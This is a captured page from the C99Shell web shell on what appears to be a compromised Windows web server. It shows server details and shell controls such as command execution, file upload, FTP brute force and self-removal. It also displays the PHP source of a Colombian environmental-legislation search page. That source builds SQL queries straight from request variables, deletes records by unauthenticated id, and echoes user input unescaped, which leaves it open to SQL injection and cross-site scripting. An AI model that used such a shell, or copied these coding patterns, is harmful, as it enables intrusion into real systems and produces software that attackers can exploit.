!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Extranet\phpscripts\   drwxrwxrwx
Free 4.13 GB of 39.52 GB (10.44%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     legis1a.php (8.28 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Legislaci&oacute;n Ambiental Colombiana</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
.textopequeno {
	font-family: "Times New Roman", Times, serif;
	font-size: 10px;
	color: #333333;
}
select {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #666666;
	background-color: #FFFFF9;
}
.in1 {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #666666;
	background-color: #FFFFF9;
}
.in1Copia {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #333333;
	background-color: #B9E7FD;
}
.textopequenoCopia {
	font-family: "Times New Roman", Times, serif;
	font-size: 11px;
	color: #333333;
}
a {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #006699;
	text-decoration: none;
}
a:hover {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 11px;
	color: #006699;
	text-decoration: underline;
}
-->
</style>
</head>

<body topmargin="0">
<table width="100%" border="1" cellpadding="5" cellspacing="0" bordercolor="#FFFFFF">
  <tr> 
    <td width="20%">&nbsp;</td>
    <td width="60%" colspan="3"><div align="center"><img src="legis.gif" width="550" height="150"></div></td>
    <td width="20%">&nbsp;</td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
	<?php
	$contrx = "0";
$sed = isset($user);
if ($sed == false) {
    exit;
}else{
//require('conexion2.php');
//$stmt = Ociparse($c1, " SELECT EU_USERNAME FROM envista.env_users where EU_USERNAME='$user'");
//$result = OCIExecute($stmt);
//if ($result == false) {
//exit;
//}else{
//$cont = 0;
//while (OCIFetchInto($stmt, $value1)) {
//foreach ($value1 as $val1)
//{
//$cont++;
//}}
if ($user == "guest") {
$cont  = 0;
}else{
$cont  = 1;
}
if ($cont == 1) {
$contrx = "xyz976";
?>
    <td bordercolor="#CCCCCC" bgcolor="#F2F2F2">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td> 
            <div align="center"><a href="reqlegis.php?user=<?php echo $user; ?>">Volver 
              a Buscar...</a></div></td>
        </tr>
      </table>
    </td>
    <td bordercolor="#CCCCCC" bgcolor="#FFFFF9"><table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr> 
          <td> 
            <div align="center"><a href="reqlegis2.php?user=<?php echo $user; ?>">Agregar 
              Normas...</a></div></td>
        </tr>
      </table></td>
    <td bordercolor="#CCCCCC" bgcolor="#FFFFF9"><table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr> 
          <td> 
            <div align="center"><a href="reqlegis3.php?user=<?php echo $user; ?>">Agregar 
              Entidades...</a></div></td>
        </tr>
      </table></td>
	  <?php
//}}
//$c2 = OciLogoff($c1);
}
}
?>
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td width="20%">&nbsp;</td>
    <td width="60%" colspan="3" bordercolor="#CCCCCC" bgcolor="#FFFFF9"> <p><font size="5"><strong><font size="2">&gt;&gt;</font> 
        Resultados de la b&uacute;squeda...</strong></font></p>
		<?php 
		require('conexion3.php');
		$xsr = isset($acc);
		if ($xsr == true and $acc == 2) {
		$query ="DELETE FROM legis WHERE id='$id'";
        $result = mysql_query($query,$db);
		require('legis6.php');
		exit;
		}
		
		
		if ($tipo == "0") {
		$tipo = "%";
		}
		if ($mes == "00") {
		$mes = "%";
		}
		if ($entidad == "00") {
		$entidad = "%";
		}
		if ($numero == "") {
		$numero = "%";
		}
		if ($ano == "" or $ano == "Todos") {
		$ano = "%";
		}
		$buscara = $buscar;
		$buscar = strtolower($buscar);
		$veri = substr_count($buscar, "\"");
		
		if ($veri != 0) {
		$buscard = str_replace ("\"", "", $buscar);
		$buscard = str_replace ("\\", "", $buscard);
		$en = 0;
		}else{
		$buscard = str_replace (" ", "%", $buscar);
		$en = 1;
		}
		//echo $mes;
		//echo $entidad;
		//echo $numero;
			  
			if ($buscar != "") {
			$consul = "SELECT *
			FROM legis where tipo LIKE '$tipo' and mes LIKE '$mes' and entidad LIKE '$entidad' and fecha LIKE '%$ano%' and numero LIKE '%$numero%' and texto LIKE '%$buscard%'"
			. " order by tipo, numero";
			}else{
			$buscar = "";
			$consul = "SELECT *
			FROM legis where tipo LIKE '$tipo' and mes LIKE '$mes' and entidad LIKE '$entidad' and fecha LIKE '%$ano%' and numero LIKE '%$numero%'"
			. " order by tipo, numero";
			}
			$result = mysql_query($consul,$db);
			$num_filas = mysql_num_rows($result);
		$frx = isset($ini);
		if ($frx == false) {
		$ini = 1;
		}
		$lim = $ini + 19;
		if ($num_filas >= 1) {
		?>
		
      <p>Se encontraron <font color="#FF6699"><strong><?php echo $num_filas; ?></strong></font> normas 
        que tienen este criterio de b&uacute;squeda: <font color="#0066CC"><strong><?php echo $buscar; ?> <br>
        &gt;&gt; </strong></font><font color="#000000">Se presentan del <strong><font color="#FF6699"><?php echo $ini; ?></font> 
        </strong>al <strong><font color="#FF6699"><?php
		if ($num_filas <= $lim) {
		echo $num_filas;
		echo "</font></strong></font></p>";
		}else{
		echo $lim;
		echo "</font></strong>. (<a href=\"";
		echo "reqlegis1.php?user=$user&tipo=$tipo&numero=$numero&mes=$mes&ano=$ano&entidad=$entidad&buscar=$buscara&ini=$lim";
		echo "\">Ver "; 
        echo "m&aacute;s resultados</a>).</font></p>";
		}
		
		}else{
		?>
      <p>Lo sentimos, no se encuentr&aacute;n normas contenidas en este sistema 
        que tengan este criterio de b&uacute;squeda: <font color="#0066CC"><strong><?php echo $buscar; ?> </strong><font color="#000000">Por favor intente nuevamente.</font></font></p>
		<?php
		}
		?>
      <table width="100%" border="0" cellspacing="0" cellpadding="5">
        <tr bgcolor="#F9EB8A"> 
          <td width="20%"> <div align="center"><strong>Nombre</strong></div></td>
          <td width="70%"> <div align="center"><strong>T&iacute;tulo y T&iacute;tulo 
              Principal</strong></div></td>
          <td width="10%"> <div align="center"><strong>Acc.</strong></div></td>
        </tr>
        <?php
		$contador = 1;
		while ($myrow = mysql_fetch_array($result))
			{
			if ($contador >= $ini and $contador <= $lim) {
			$idr = $myrow["id"];
			$numeror = $myrow["numero"];
			$fechar = $myrow["fecha"];
			$entidadr = $myrow["entidad"];
			$tipor = $myrow["tipo"];
			$etiquetar = $myrow["etiqueta"];
			$textor = $myrow["texto"];
			$titulor = $myrow["titulo"];
			$linkr = $myrow["link"];
			$mesr = $myrow["mes"];
	$prese= $tipor . " " . $numeror . " de " . $fechar;
	?>
        <tr bgcolor="#FAFEE2"> 
          <td valign="top" class="textopequenoCopia"><?php echo $prese; ?></td>
          <td valign="top"><span class="textopequenoCopia"><a href="reqlegis4.php?id=<?php echo $idr; ?>&str=<?php 
		  if ($en == 0) {
		  echo $buscard;
		  }else{
		  echo $buscar;
		  }
		  
		   ?>&en=<?php echo $en; ?>"><?php echo $titulor; ?></a></span><br> 
            <font color="#666666">Temas:</font> <span class="textopequenoCopia"><?php echo $etiquetar; ?></span></td>
          <?php
			if ($contrx == "xyz976" and $user=="EMAIL")
			{
			?>
          <td><div align="center"><a href="reqlegis1.php?id=<?php echo $idr; ?>&user=<?php echo $user; ?>&acc=2"><img src="bor.gif" alt="Borrar..." width="20" height="20" border="0"></a> 
              <a href="reqlegis5.php?id=<?php echo $idr; ?>&user=<?php echo $user; ?>"><img src="edi.gif" alt="Borrar..." width="20" height="20" border="0"></a></div></td>
          <?php
		  }else{
		  echo "<td><div align=\"center\"></div></td>";
		  }
		  ?>
        </tr>
        <?php
		}
		$contador++;
		}
		?>
      </table>
      <p align="center">Todas las normas encontradas son legislaci&oacute;n vigente.</p></td>
    <td width="20%">&nbsp;</td>
  </tr>
  <tr> 
    <td width="20%">&nbsp;</td>
    <td width="60%" colspan="3"><div align="center"><img src="legis2.gif" width="550" height="30"> 
        <br>
        <span class="textopequeno">&copy; Copyright, DAMA 2003. Todos los Derechos 
        Reservados para<br>
        El Departamento T&eacute;cnico Administrativo del Medio Ambiente</span></div></td>
    <td width="20%">&nbsp;</td>
  </tr>
</table>
<p>&nbsp;</p>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--